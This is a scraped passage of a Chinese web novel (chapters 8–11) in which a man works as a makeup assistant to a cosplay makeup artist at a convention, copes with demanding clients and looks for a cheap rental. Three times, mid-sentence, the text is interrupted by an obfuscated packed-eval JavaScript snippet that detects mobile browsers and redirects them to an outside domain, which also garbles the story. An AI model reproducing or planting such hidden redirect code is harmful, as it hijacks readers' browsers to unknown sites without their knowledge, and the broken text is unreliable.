木鱼尽管脚痛，却还是固执地不肯从楼梯一样的鞋上下来。 “你这是何必？”祁帘栅不太理解。 “你们这种长得高的人不懂，”木鱼认真道，“这是我的尊严。” “行。”祁帘栅无奈道。 “哦对，”木鱼终于想起一件事，“我们还没加联系方式呢，我把今天的工资给你。” “联系方式。”祁帘栅突然意识到什么。 “对呀，绿球还是企鹅？”木鱼拿出手机。 祁帘栅有些尴尬，半晌才道：“我没手机。” “没带吗？没事，”木鱼说道，“你把号留下来就行，或者我把我的号告诉你。” “不是，”祁帘栅垮下脸，“我没钱买手机。” “啥？”木鱼瞪大眼睛。 8. 报复 “别告诉我说你是未成年。”木鱼一脸惊恐，“你未成年长这么高？” “不是。”祁帘栅不太明白为什么木鱼会想到这一层。 “那不应该啊？怎么会没有手机？”木鱼难以置信，“现在人没有手机还能活吗？” “习惯就好。”祁帘栅这句话也不完全是瞎说，毕竟他确实从小就没有玩手机的习惯。 木鱼勉为其难地接受了这个说法，“那我明天怎么联系你？” 祁帘栅想了想，说：“那就和今天一样，定好时间和地点，我直接来吧。” “哦哦，那我找找有没有现金，”木鱼翻遍全身上下，只找到一张皱皱巴巴的二十元人民币。 她有些尴尬，解释道：“我没想到现在还有人这么复古，这样吧，我去银行给你取点。” 祁帘栅说道：“行。” 木鱼取完钱，递给祁帘栅，就见祁帘栅不知从哪翻出来个破破烂烂的钱包，小心翼翼地将今天的工资收好。 木鱼看着祁帘栅一副老人样，还是没忍住问：“不是吧？你真没有手机？” 祁帘栅无奈道：“真的。” “哦。”木鱼开始转移话题，“你家在哪？离这边远不远？” “……挺远的，”毕竟都隔了一个世界，祁帘栅想道。 “那要不这样，刚好我没找到拼房住的妆娘，我们可以一起住，顺便帮我分担床费。”木鱼提议道。 祁帘栅看着装扮成他的木鱼，有些迟疑：“不好吧，男女有别。” “没事，”木鱼挽起袖子，亮出她的肱二头肌，“我还是挺强的，一拳打两个熊猫绰绰有余。” 想到睡地铁硬地板的感觉，祁帘栅犹豫着答应下来：“……那好吧。”停了几秒，祁帘栅又问，“房费多少？” “一人一百五，一共三百。”木鱼说道。 祁帘栅看着自己辛苦一天，好不容易赚到的二百五，有些欲哭无泪，他小心问：“能不住吗？” “我这不是还没说完话呢吗，”木鱼瞪了祁帘栅一眼，“看在你兢兢业业的份上，我收你一百就好了。” 祁帘栅看向木鱼的时候，她早就转过身向前走去，祁帘栅只能看见她和自己差不多高的背影，在夕阳下留下一道更长的影子。 祁帘栅叹了口气，“还是一百五吧，不用给我优惠。” “你真的没手机？”木鱼突然转身，差点和祁帘栅撞上。 祁帘栅吓了一跳，向后踉跄半步，“……真没。” “好吧。”木鱼转身向前走去，“我是真的有些震惊了，那你平时怎么联系别人？” 祁帘栅沉默半晌，才道：“不怎么联系。” 木鱼听到这话，脚步顿了一下，她转头看向祁帘栅，用着祁帘栅的脸挑了挑眉，对他说道：“这样吧，等你鱼姐有钱了，换个新手机，就把这个旧手机送你怎么样？” 祁帘栅实在受不了她用着自己那张脸做出这样猥琐的表情，默默闭了闭眼。 木鱼见他半天不说话，用手肘怼了怼祁帘栅，“哎，我好吧？你这是感动到失声了？” 祁帘栅停下脚步，木鱼感受到他停下来，转过头。 祁帘栅还是郑重道了句：“谢谢。” 木鱼挑起一边眉，“咋俩谁跟谁？” 两人吃完晚饭，就回到宾馆开始补觉。因为两人毕竟还是性别不同，祁帘栅和木鱼换了一个标间，双床房，价格不变。 祁帘栅一开始还不好意思，但见木鱼一进屋连灯都没开，随手把假发从头上摘下来，向桌上一扔，很没形象地倒头就睡。 祁帘栅见她满是白粉的脸直接覆在床上，欲言又止，他不太明白，脸上带妆可不可以直接睡觉。 但见木鱼一副轻车熟路的样子，祁帘栅决定还是不要随便质疑别人的专业，他学着木鱼之前的操作，打开空调，想了想，又将被子搭在木鱼身上。 祁帘栅打了个哈欠，刚一挨到床，眼皮就沉沉合上，怎么都睁不开。 尝试几次之后，祁帘栅放弃抵抗，彻底睡死过去。 “跟小姐姐约会开心吗？”祁帘栅朦胧间睁开眼，就听见少年暗戳戳赌气的声音。 “肉肉，你怎么来了？”祁帘栅有些茫然，“我不是在睡觉吗？” “睡得跟死猪一样。”系统切了一声，“不然我哪有机会找你？” 祁帘栅叹了口气，把今天发生的事给系统大概讲了一遍。 “所以你今天累死累活，就赚了一百块？”系统的声音提高，听起来有些生气。 “是啊，”祁帘栅苦闷起来，“生活不易。所以我到底怎么才能走上人生巅峰。” “这个嘛，”系统尬笑两声，“给我点时间，我替你谋划一下。” 祁帘栅也没再继续这个话题，转而问道：“你能在我深度睡眠的时候找我？” “嗯哼，废话。”系统回道。 “那不会影响我的睡眠吧？让我睡了跟没睡一样？”祁帘栅这句话还没说完，系统就骂了句：“蠢蛋。” “你做梦不也是在睡觉？”系统没好气道。 “所以我现在相当于做梦。”祁帘栅点点头。 系统哼了一声，“你就知足吧，你睡觉的时候可以在系统空间里工作，白天醒了又可以在现实工作，你活一年等于别人两年，还不是靠我的功劳？” “我还是觉得睡觉比较舒服。”说着祁帘栅打了个哈欠，在这片纯白的空间中躺了下来。 “哎，”系统大喊道，“你睡什么？你这是天生牛马圣体，还不起来给我工作？” “实在不行，太困了。”祁帘栅这话一说完，就没了声息，直接在系统面前睡起了觉中觉。 系统见祁帘栅这副样子，气得直接大吼起来，“祁帘栅，你给我起来，我还没跟你说正事呢！” “祁帘栅！”系统见祁帘栅丝毫没反应，只恨恨地撂下一句狠话，“你会后悔的。” 祁帘栅完全没听见系统的话，只觉得这一觉睡得格外好。 凌晨三点，他是被木鱼的喊声惊醒的。 “完了完了，我昨天怎么忘了卸妆！”木鱼在卫生间里发出尖锐爆鸣声，“这下完蛋了，我今天化不了妆了。” 祁帘栅迷迷糊糊地起来，就见木鱼气势汹汹地站在他面前。 “熊猫，你昨天为什么不提醒我卸妆？”木鱼挑起一边眉，瞪视祁帘栅。 祁帘栅一睁大眼，就看见一张眼圈漆黑，肤色不均的鬼脸，在酒店昏黄的灯下忽明忽暗。 “我去，什么玩意？”祁帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251680|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栅吓了一跳，下意识后退，撞到了床沿。 “熊猫！”鬼脸明显挺生气。 “你才熊猫。”祁帘栅被那青黑色的黑眼圈惊到。 “我是木鱼！”鬼脸看起来想把祁帘栅一掌拍死。 祁帘栅一激灵，立刻从睡梦中抽离出来，他定睛看去，发现木鱼的妆已经花了满脸，不仔细看，很难认得出她那乱七八糟的脸。 “你……好。”祁帘栅小心翼翼地打招呼。 木鱼看起来很想对着祁帘栅的脸来一锤，“我很奇怪吗？” “有点。”祁帘栅实话实说。 木鱼瞪大眼睛，半天才挤出一句：“行，你行。”说着她赶紧到卫生间，卸了妆，又把自己的脸擦了好几遍。 祁帘栅彻底清醒后，拍了拍自己的脸，有些奇怪地喃喃自语：“今天怎么没人来化妆？” 木鱼百忙之中好心回了一句：“今天去漫展的人少，我从三点半才开始接妆。” “……那还挺晚的。”祁帘栅说道。 “是吧？不过今天来的人少，你肯定就赚得少了。”木鱼擦干脸，从卫生间走出来，“你快收拾吧，不然等会儿来不及。” 祁帘栅应了一声，打着哈欠开始收拾，果不其然，他刚洗脸洗到一半，就听见木鱼热情的声音响起：“来了？你先坐着休息一下。” 祁帘栅快速走出门，木鱼没让客妹看清祁帘栅的样子，飞快挡在她面前，给祁帘栅头上安了个兔耳朵。 祁帘栅被她这飞一样的速度惊住，瞳孔缩了一下。 木鱼转过头，换上一副笑脸，对客妹说道：“这是我找的打底娘，是姐妹啦。” 祁帘栅眼见客妹从最开始的犹豫，变得热情异常，她热切地看向祁帘栅，问道：“老师，你cn是什么啊？我第一次见哎！” “啊？”祁帘栅不明白客妹是什么意思，但还是老老实实说道，“我叫熊猫。” “哦，原来是熊猫老师。”客妹激动起来，继续问道，“老师能加个联系方式吗？以后一起玩呀。” “不好意思啊，暂时不太方便。”祁帘栅看着客妹那热切的脸，总感觉自己像误入虎口的纯洁小兔子，起了一身鸡皮疙瘩。 客妹听他这么一说，热情的劲一下子卸了下来，但还是不死心道：“老师我平时不会打扰你，就是想认识一下嘛。” “我确实不太方便，真的不好意思。”祁帘栅想到自己连手机都买不起，默默叹了口气。 客妹见状，也只能遗憾地坐了下来，仍由祁帘栅给她打底妆。 木鱼看着他们两个，在一旁偷偷憋笑，差点没将自己憋过气去。 等祁帘栅打好底妆，一转头，就见木鱼贼眉鼠眼地盯着自己看。 木鱼见祁帘栅转过头来，立刻收起脸上的不正经的笑，一本正经对客妹说道：“宝宝来我这里吧，我来给你化妆。” 客妹很乖巧地应了一声，路过祁帘栅的时候明显有些不舍，但还是没说什么。 木鱼绷着脸开始给客妹上眼影，一个没忍住，突然笑出了声。 客妹有些遗憾地睁开眼，“老师你怎么了？”祁帘栅也疑惑地看向木鱼。 木鱼赶紧摆了摆手，“没事没事，就是刚才成功报复了一个人，真是想想就开心。” 9. 离谱 祁帘栅满脸疑惑，但碍于还有客妹在场，没有出声询问木鱼。 偏客妹不知怎么回事，木鱼化两笔，她就要拿出随身带的镜子仔细照两下，认真看半天才重新放下镜子，示意木鱼继续化。 木鱼欲哭无泪地看着客妹，有些难受地问：“宝宝，你要不等我化完再看吧？现在也看不出来啊？” “我就是想自己看着，你要是哪一步没化好我就能直接说改。”客妹理所当然道，“不然等你都化完了我再指出问题，不是得改很久吗？” 木鱼愁眉苦脸起来，她勉强让自己脸上挤出一丝微笑，“那宝宝现在有什么需要改的地方吗？” 客妹又举着镜子来回比较了好几下，指着眼线说道：“这两边是不是不一样高啊？我觉得这边还有点粗。” 木鱼咬着牙回道：“行，我给你改改。” 结果木鱼刚上手画了一笔，客妹立刻出声：“哎，不对，你这边明显卧蚕画小了，显得我的眼睛都不对称了。” 木鱼犹豫道：“可是宝宝，你这边眼睛稍微大了一点，我就给你没画这么大，不然两边眼睛就不对称了。” “但是你现在就是给我画得不对称啊？”客妹坚持道。 木鱼见状，只得妥协道：“好吧，我给你两边改对称。” 祁帘栅眼见着木鱼给客妹把两边卧蚕画得一样大，果然客妹的眼睛看起来不对称了，明显有一边大了一圈。 客妹又拿起镜子照起来，木鱼见状赶紧向后仰了仰身子，客妹一看见自己的脸，立刻瞪大眼睛，眼里顿时出现一抹水雾。 木鱼暗道一声不好，立刻变成了苦瓜脸。 果然客妹直接“哇”得一声哭了出来，连祁帘栅都吓了一跳。 木鱼赶紧安慰道：“宝宝你别哭了，我给你改还不行吗？这回绝对给你画对称。” 客妹还是忍不住哭着说道：“你就是画不对称，都改了好多遍了。” 木鱼又哄了一会儿，见客妹怎么都不肯松口，她叹了口气，最后说道：“要不这样？我给你把定金退了吧，你再找其他老师化？” 客妹犹豫起来，但好歹没再哭下去，两人又协商了一阵，好不容易才把客妹送走。 木鱼等客妹一走，整个人直接瘫在床上，半死不活地对祁帘栅说道：“这下好了，白忙活半个小时。” 祁帘栅被这离谱的情景惊到半天说不出话，几秒过后，祁帘栅默默伸出手，对着木鱼比了个大拇指，“辛苦了。” “没办法，我只希望今天碰见的能都是正常人。”木鱼沉痛说道，“这还算是好一点的，至少退了定金后就没再纠缠。” 祁帘栅沉默一阵，这回多了些感同身受：“辛苦了。” “没想到报应来的这么快。”木鱼叹了口气，盯着祁帘栅的目光明显有些幽怨。 祁帘栅莫名其妙地回视木鱼，疑惑问道：“什么报应？” “没事，姐妹。”木鱼心痛道，没撑两秒，她就笑出了声。 祁帘栅还要再问，木鱼赶紧转移话题，“下一个客妹要来了。” 祁帘栅收回视线，正好看见客妹举起手，准备敲门。 祁帘栅友好地冲她笑笑，客妹却显得有些不自在，她没直接进门，站在门口反倒有些犹豫。 “站在门口干嘛？进去啊？”一声比较尖锐的声音在走廊响起，客妹一个激灵，赶紧走进房门。 她有些抱歉地看着祁帘栅和木鱼，还没说话，木鱼就敏锐意识到什么，说了句“完了”，就自己躲到角落里了。 祁帘栅没来得及询问木鱼怎么回事，他刚在客妹面前坐下，门口就响起一道尖锐的女声：“你在干什么？不是说今天化妆的是女生吗？” 客妹吓了一跳，坐在椅子上还没说话，祁帘栅反倒被这声音吓得手一抖，差点把粉底液挤飞出去。 “不是，他是……”客妹的声音弱弱的，听起来没什么底气。 祁帘栅好脾气地解释道：“是约的女生，我只是来帮忙打个底妆。” “你一个男生能化好底妆吗？还不如我给她化。”那个女人看起来像客妹的妈妈，祁帘栅不由得生出几分在长辈前的弱势感。 “我还可以吧。”祁帘栅回答地有些犹豫，就听见客妹妈妈用一种小声到在场几人都能清晰听见的声音嘟囔道：“现在的男生怎么都这么女性化，还带个兔耳朵？” 祁帘栅脸上的表情僵硬一瞬，用余光悄悄看了木鱼一眼，木鱼装作没看见祁帘栅的尴尬表情，视线投向别处。 “咳。”祁帘栅有些尴尬地咳了一声，开始给客妹上底妆，他发现客妹虽然闭着眼睛，但眼睛一直在颤抖，看起来不太安稳。 祁帘栅出声安慰道：“没事别紧张，你平时怎么样现在就怎么样，放轻松。” 祁帘栅刚把粉底液涂在客妹脸上，客妹妈妈再次出声：“哎？你给我孩子用的什么粉底液？不会是什么三无产品吧？” 祁帘栅不明白什么是三无产品，手下动作不禁犹豫下来，求助般看向木鱼。 木鱼见他这副表情，就知道要遭。 果然下一秒，客妹妈妈立刻瞪大眼睛，直直盯着祁帘栅手里的粉底液，“不会真是什么三无产品吧？我女儿脸上过敏感染怎么办？”说着客妹妈妈就要上手把客妹脸上的粉底液擦掉。 木鱼见状，赶紧出声解释道：“阿姨，我们用的都是大牌，不是什么三无产品，你可以自己看，他不太了解这些，所以不知道怎么解释。” 客妹妈妈见状，拿起粉底液看了几眼，这才在旁边坐下，只是目光一直就没离开过祁帘栅。 祁帘栅只觉得浑身不自在，但为了十五块钱，他还是咬咬牙，硬着头皮给客妹打起底妆。 期间客妹妈妈不时发出不耐烦的声音，似乎想说些什么，但碍于情面，还是没出声。 直到木鱼开始给客妹画眼妆时，客妹妈妈终于没忍住出声：“你们这又用的什么？我听网上说你们妆娘就会给人用几块钱的眼影，这肯定对皮肤不好。” 木鱼一副欲言又止的表情，直接把眼影盘递给客妹妈妈，示意她看。 客妹妈妈深深皱起眉，“这是什么牌子？我都没听说过。” 木鱼只得解释道：“这是一个小众牌子，但确实不是三无产品，我们妆娘自己都在用，不会过敏的。” “每个人肤质不一样，我怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251681|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么知道我女儿会不会过敏？”客妹妈妈丝毫没松口。 木鱼嘴角抽了抽，在客妹妈妈看向她的时候，立刻换上一副友好热情的表情，“这样吧，我先在她手上试试，确定没有问题再上脸，您看可以吗？” 客妹妈妈这回勉强点头，木鱼在客妹手上试后，确定没什么反应，这才同意木鱼开始化妆。 祁帘栅看着客妹妈妈一副控制欲极强的样子，有些不敢说话，默默降低着自己的存在感。 过了一会儿，祁帘栅感觉有点渴，他端起水杯，刚喝了一口水，客妹妈妈有些尖锐的声音再次响起：“哎哎哎，你怎么给她化得这么浓，像鬼一样，丑死了！” 祁帘栅被她一吓，呛了一口水，忍不住咳嗽起来。 客妹被她妈妈说了这么久，本来就局促不安，这回更加难受起来，没忍住低声说了句：“你别说了。” “我怎么不能说？”客妹妈妈的情绪一下被点燃，声音拔高了几度，“你每天在家不好好学习，净想着出来鬼混，把自己弄成这个鬼样子，你看看像什么样？” 客妹的神情明显低落下来，她小声道：“我就说你别来了，总是在外人面前说我……” “我怎么能不来？现在混社会的人这么多，我不能让你学坏了。”客妹妈妈明显被她气到，甚至开始口不择言，“你看看这两个人像什么样子？我还担心你被他们带坏，这么大年纪了还没个正经样。” 祁帘栅和木鱼突然被中伤，有些尴尬地对视一眼。 客妹妈妈继续教育起女儿，“这回就算了，下次我是不会再让你出来跟不三不四的人混，你好自为之。” 客妹看着对面的木鱼，明显尴尬到了极点，她只能很小声地对木鱼说了句：“对不起。” 木鱼用眼神示意她没事，不给客妹妈妈说话机会，木鱼飞快化好一个干净的妆面，对着客妹说道：“好了，祝你玩得愉快。” 客妹偷偷看了眼妈妈，感激地对木鱼点点头。 木鱼用眼神示意客妹先走，然后转向客妹妈妈，很有礼貌地问道：“阿姨，您结一下尾款吧。” 客妹妈妈见客妹出门，明显着急要去追客妹，不耐烦地问道：“还有什么尾款？行行行，多少我转你？” “六十。”木鱼开口说道。 “什么？”客妹妈妈声音拔高，“你就这么随便给她化了几笔，都化成鬼样了还要六十？” 祁帘栅忍不住开口：“这位阿姨，当初是你们决定要约妆的，该付多少钱就是多少钱。” 客妹妈妈看向祁帘栅，祁帘栅这会儿已经把头上的兔耳朵摘了下来，脸上没有多余表情，凭借他一米九的身高，乍一看确实有些唬人。 客妹妈妈的气势一下子就被压了下去，她看着木鱼那张甜美的脸，不耐烦地扫上她递过来的收款码，“付过去了。”说完她转身就走。 木鱼收到钱，明显松了口气，她感激地看向祁帘栅，叹道：“终于送走这尊大神了。” 祁帘栅见客妹妈妈终于走了，头微微低下，重新把兔耳朵戴在头上，看起来有些乖巧。 木鱼看着他的动作，突然尖叫一声，就向着祁帘栅这边跑来。 10. 结展 祁帘栅眼睁睁看着木鱼跑过来，眼中带着笑，在他面前停下。 木鱼踮起脚，发现身高不够，又跑到一边，直接站在床上，手悬空在祁帘栅头上摸了摸，激动地说了句：“好乖啊。” 祁帘栅被她这反应吓了一跳，看着木鱼的姨母笑，不禁背后一凉，打了个哆嗦。 木鱼眼睛亮亮地看着祁帘栅，嘴里说出的话却和她的外表极为不符：“小兔子，别躲呀，桀桀桀。” “你别这样，”祁帘栅面色有些僵硬，“太不正常了。” 于此同时，敲门声再次响起。木鱼脸色一变，转头的功夫就收拾好自己的心情，立刻恢复正常，一本正经道：“熊猫老师，快去工作吧。” 祁帘栅被木鱼飞快变化的态度弄得有些愣神，心有余悸地赶去化妆。 等他化好妆，就见木鱼对他眨了下眼，祁帘栅默默向后退了一步。 转头就听见客妹小声问木鱼：“老师，他怎么看起来这么怕你啊？” 木鱼微笑道：“有吗？我觉得我还是挺亲和的呀。” “你太奇怪了。”祁帘栅面无表情开口。 木鱼转过头，威胁似的对祁帘栅呲了呲牙，祁帘栅立刻闭嘴。 等木鱼化完妆后，她的魔掌就落在了祁帘栅身上。木鱼拿着一堆化妆品，不怀好意地靠近祁帘栅。 “哎你干嘛？”祁帘栅向后躲去。 “你躲什么？”木鱼看祁帘栅一个大男人被她吓成这样，撇了撇嘴，“这不是昨天说好的，我免费给你化一次妆？” “哦，”祁帘栅答应完才反应过来，“等等，我不想cos祁帘栅了。” 木鱼拿着化妆品疑惑道：“为什么？你昨天不还挺想cos的吗？” 祁帘栅一时说不出话，他有些无语，他那哪是想cos，分明是不想自己的脸被木鱼丢得太过。 “那行。”木鱼倒是没什么纠结的，“你不想cos祁帘栅，那就换一个，我带的cos服随你选。” “哎，不愧是我，多大度啊。”木鱼说着满意地笑了笑。 祁帘栅看着那一堆奇形怪状的衣服，头有些发晕，他实在认不出这些都是什么角色，半天也选不出一个来。 木鱼托了托腮，认真思考起祁帘栅适合哪个，“要不这个吧？吸血鬼，感觉你的气质和他挺像的。” 祁帘栅有些难以置信地指指自己，“我和吸血鬼像吗？” 木鱼点点头，“挺像的，不过你看过这个番没，时间挺早了，还得看你自己喜不喜欢这个角色。” 祁帘栅犹豫起来，他确实压根没看过木鱼说的番，连她说的这个人物是谁都不知道，祁帘栅下意识就要拒绝。 但不知为何，祁帘栅突然犹豫起来。木鱼看起来很强势，但是她一直没有逼迫过祁帘栅做什么事情，反而在一直询问他的意见。 祁帘栅其实不太明白木鱼还有其他人对于cos的热衷，但木鱼却以为他懂，好像某种东西成为了他们这个圈子的共识。 祁帘栅在他们身上感受到一种莫名的熟悉感，好像很久之前，他也如此热烈而又真挚地做着一件事。 祁帘栅看着木鱼期待的眼神，把那句拒绝的话咽了下去。 木鱼见祁帘栅半天没说话，一丝失落闪过眼底，但她很快调整好心态，“算了算了，毕竟这个番也不是人人都喜欢，要是实在不喜欢也没必要勉强自己。” “我说的话一直有效哦，等你下次有什么很喜欢的角色cos的时候再来找我，我还是免费给你画一次。”木鱼眨了眨眼，将眼底的情绪尽数收起来，又恢复了往日的不着边际，“毕竟我可是人美心善的木鱼小姐姐嘛。” 祁帘栅没接话，他想了想，还是开口问道：“我确实没看过这个番，但是也想试试cos一个角色，但是这样会不会不尊重这个角色？” 祁帘栅的想法其实很简单，他只是看木鱼这么热衷于cos，想自己体验一下，了解一下这群人为什么这么喜欢cos，但他又确实不了解这些角色，无法对旁人的喜欢做出回应。 听祁帘栅这么说，木鱼也认真思考起来，“其实我也不清楚，这种事在网上也有过，大多是有人想蹭角色热度。” “不过我还是建议你找个自己喜欢的角色cos，因为这样你也会更开心一些吧，”木鱼说着说着，突然意识到什么，猛地转过头盯着祁帘栅，“你该不会是为了不让我扫兴，才勉强答应的吧？” 祁帘栅确实有一部分这种想法，一时找不到合适的说辞。 木鱼赶紧开口：“喂，你可不要老是抱着这种想法，讨好型人格可不行，总是让自己难受。” “我没有。”祁帘栅叹了口气，“我只是单纯想cos一下。” “哦，那还好。”木鱼说着松了口气，“我还以为木鱼小姐姐又遇上一个迷途少年了。” “下次再说吧。”木鱼拍了拍祁帘栅的肩，“你今天先干好工作，要是今天晚上回去没一个差评，我就给你多奖励一百块怎么样？” 祁帘栅听见有钱赚，一下从刚才的情绪中脱离出来，他立刻应道：“行。” 随着时间越接近上午，来的人越多，祁帘栅给各种卤蛋抹白，手法也越发熟练起来。 不出意外，两人又忙活到了下午两点才吃上饭。 这才短短两天，祁帘栅就感觉自己的胃开始抗议，一直往外冒酸水。 他看木鱼一副习以为常的样子，由衷感叹道：“你胃真好。” “生活所迫。”木鱼揉了揉自己的胃，“它已经是一个成熟的胃了，应该自己学会适应生活。” 祁帘栅被她的言论说得一愣一愣的，一时想不出反驳的话。 木鱼见饭一上桌，就开始狼吞虎咽。 祁帘栅实在赶不上她的吃饭速度，索性按照自己正常的速度吃。 等他们吃完饭，木鱼这回没有往漫展跑，她带着祁帘栅在漫展附近找了个湖，让祁帘栅帮忙拍两张照。 祁帘栅接过木鱼手中的手机，木鱼向前走去，祁帘栅来回摆弄了一下，才找到拍照的按键。 他重新把摄像头对准木鱼，丝毫没意识到他把木鱼精心寻找的构图角度破坏了，木鱼正好转过身，摆了一个她自认为非常满意的姿势。 祁帘栅勉强给她拍了两张，他之前见过类似的东西，但是没上手自己拍过。他勉强捕捉着木鱼的姿势，堪堪在她换动作前拍到。 木鱼拍了一阵，又带着祁帘栅找到另一个适合拍照的地方，继续摆起姿势。 她拍了两张，发现祁帘栅拍照的角度很奇怪，木鱼一边摆着姿势，一边对祁帘栅说道：“你手机稍微往下拿一点，这个角度显得我腿长。” 祁帘栅按照她的指示，手机往下举了点，结果就看见木鱼明显的双下巴，脸和身子连成一片，本来能完全拍进去的腿也只剩一半了。 祁帘栅虽然不明白木鱼的审美，但还是尊重每个人的审美差异，给木鱼拍了几张“好看”照片。 “好了，给我看看吧。”木鱼一想到自己今天拍了这么多好看照片，心情止不住地好起来。 祁帘栅见木鱼心情好，很有自信地把手机还给她。 木鱼点开相册，第一张照片就让她愣在原地。从下到上的角度，将木鱼全身上下所有的缺点都暴露出来。 祁帘栅刚好在她要换动作的一瞬间拍下照片，画面模糊，差点将她的五官从脸上摘下来。 木鱼安慰自己这是最后一张照片，没拍好也是正常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251682|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到木鱼开始翻看照片，每一张都刷新了她的认知。 祁帘栅在旁边眼睁睁看着木鱼从微笑变成冷笑，再到一边冷笑一边看着自己。 祁帘栅只觉得背后一个劲地吹凉风，一股冷意不知何时涌上心头。 “你故意的！”木鱼强压怒火出声。 祁帘栅完全没听出来木鱼语气中的怒意，疑惑道：“什么故意？” “你这照片，拍得就没一张能看的。”木鱼瞪起眼，“你给我解释解释。” 祁帘栅偏过头偷看了一眼自己拍的照片，确实很模糊，祁帘栅道歉：“不好意思啊，我手不太稳，拍照的时候太抖了。” “是这个问题吗！”木鱼闭了闭眼，明显更生气了。 “我角度没找对？”祁帘栅的声音明显弱了几分。 “不然呢？”木鱼气道。 祁帘栅也有些不能直视他拍的那些照片，提议道：“我这回注意点，重新给你拍几张吧。” “这还差不多。”木鱼依旧生气，把手机塞祁帘栅手里，又开始摆起动作。 祁帘栅不敢耽搁，这回将手机拿稳，继续给木鱼拍照。 木鱼已经摸清祁帘栅的拍照水平，她这回长心眼了，每个姿势都要指挥着祁帘栅换个角度拍。 才拍了两三张，木鱼就感觉有些口干舌燥。 祁帘栅把照片交给木鱼，木鱼瞥了他一眼，才开始看照片。 祁帘栅眼睁睁看着木鱼的表情从胸有成竹变成一言难尽，木鱼最终抬起头，看着祁帘栅热出的满头大汗，叹了口气：“算了，这大概就是天赋吧。” 木鱼索性自拍了两张，祁帘栅默默站到一边，有些心虚。 木鱼气鼓鼓地拍了两张照片，用她试了几百遍才试出来的最佳拍照角度，拍得还不错，就是在相册里看起来略微有些千篇一律了。 木鱼心里舒服了不少，她准备收工，刚走几步，就看见站在一边的祁帘栅。 木鱼犹豫几秒，还是对着祁帘栅招了招手，“熊猫老师，我们自拍两张，记录一下第一次见面吧。” “啊？哦。”祁帘栅被木鱼拉着，还没怎么准备好，就在木鱼相机里留下了一个呆愣的侧脸。 木鱼邪恶一笑，“我到时候发社交软件啊，熊猫老师。” 祁帘栅看着自己模糊的侧脸，表情像个二傻子，他拒绝道：“不要。” 木鱼哼了一声，“逗你的，谁让你给我拍成那样。” 她再次举起手机，见手机里的祁帘栅表情还是比较僵硬，看起来不常拍照，没什么经验。 木鱼说道：“熊猫老师，拍照表情别这么严肃，笑一下。”说着木鱼示范着笑了起来。 祁帘栅被她感染，笑了一下，木鱼立刻按下拍摄键，将这一幕记录下来。 又如常过了一天，漫展结束了。 木鱼在宾馆收拾东西，准备回家。 祁帘栅也拿到了两天工钱，存款马上能过四位数。 “熊猫老师，你怎么走啊？”木鱼将最后一盒化妆品装进包里，起身准备离开。 祁帘栅想了想，“坐地铁吧。” “那巧了，我也是。”木鱼拖上行李箱，“走吧，一起去地铁站？” “好。” 祁帘栅和木鱼走到地铁站，一直有些沉默，他没遇见过这种情况，不知道怎么和木鱼告别。 还是木鱼先冲祁帘栅招了招手，“熊猫老师，再见。” 祁帘栅也学着她的样子招了招手，“木鱼老师，再见。” 木鱼顺着人流离去，祁帘栅目送着她。 夕阳照在祁帘栅脸上，祁帘栅闭上眼，感受着一道道阴影从自己身边离去，人流不知何时失去了踪迹。 11. 租房 等所有人从漫展走后，祁帘栅才慢悠悠地在周围晃起来，他揣着六百元巨款，却感觉自己活不过这周。 “我给你找了个好住处，”系统的声音在祁帘栅耳边响起，“在郊区租个房，一室一厅，说是一个月八百。” “八百？”祁帘栅虽然不清楚这个价格在租房里算是什么水平，但按照他这两天的的花销来看，比他想象中要便宜不少，“靠谱吗？” “你先别急着高兴，”系统分析道，“虽然这个房子是我给你找到的最便宜的房子，但因为你没有身份证，具体价格要跟房东商量，应该还会往上浮动一些。” 祁帘栅掂量着手里的六百块钱，感叹着自己的贫穷，“肉肉，我现在连八百都拿不出来。” 系统默默把下一句话咽了下去，他还在考虑，八百块钱的房子得破成啥样。 “对了，你觉得你平时需要独立卫浴吗？或者厨房什么的也可以不要。”系统思索起来。 “意思是就要一张床？”祁帘栅瞪大眼睛，“这不对吧？那我怎么生活？” “你自己看吧。”系统没好气道，“这些都不要的话五百块左右能下来，而且我看着图片，怎么着都比刚才那个老破小好。” 祁帘栅犹豫一秒，当机立断，“租，能睡觉就行。” “那我就帮你联系了。”系统说着，就去一边忙去了。 祁帘栅没敢打扰他，生怕自己好不容易得来的住处又没了。 二十分钟后，系统的声音再次响起，语气中透露着很明显的得意，“我可是帮你联系好了，房东都同意了，你到时候唯唯诺诺一点，别露馅了。” “唯唯诺诺？”祁帘栅奇怪道。 “你别管，照我说的做就行了。”系统没给他说话的时间，直接打断他，“你还想不想有房子住了？” 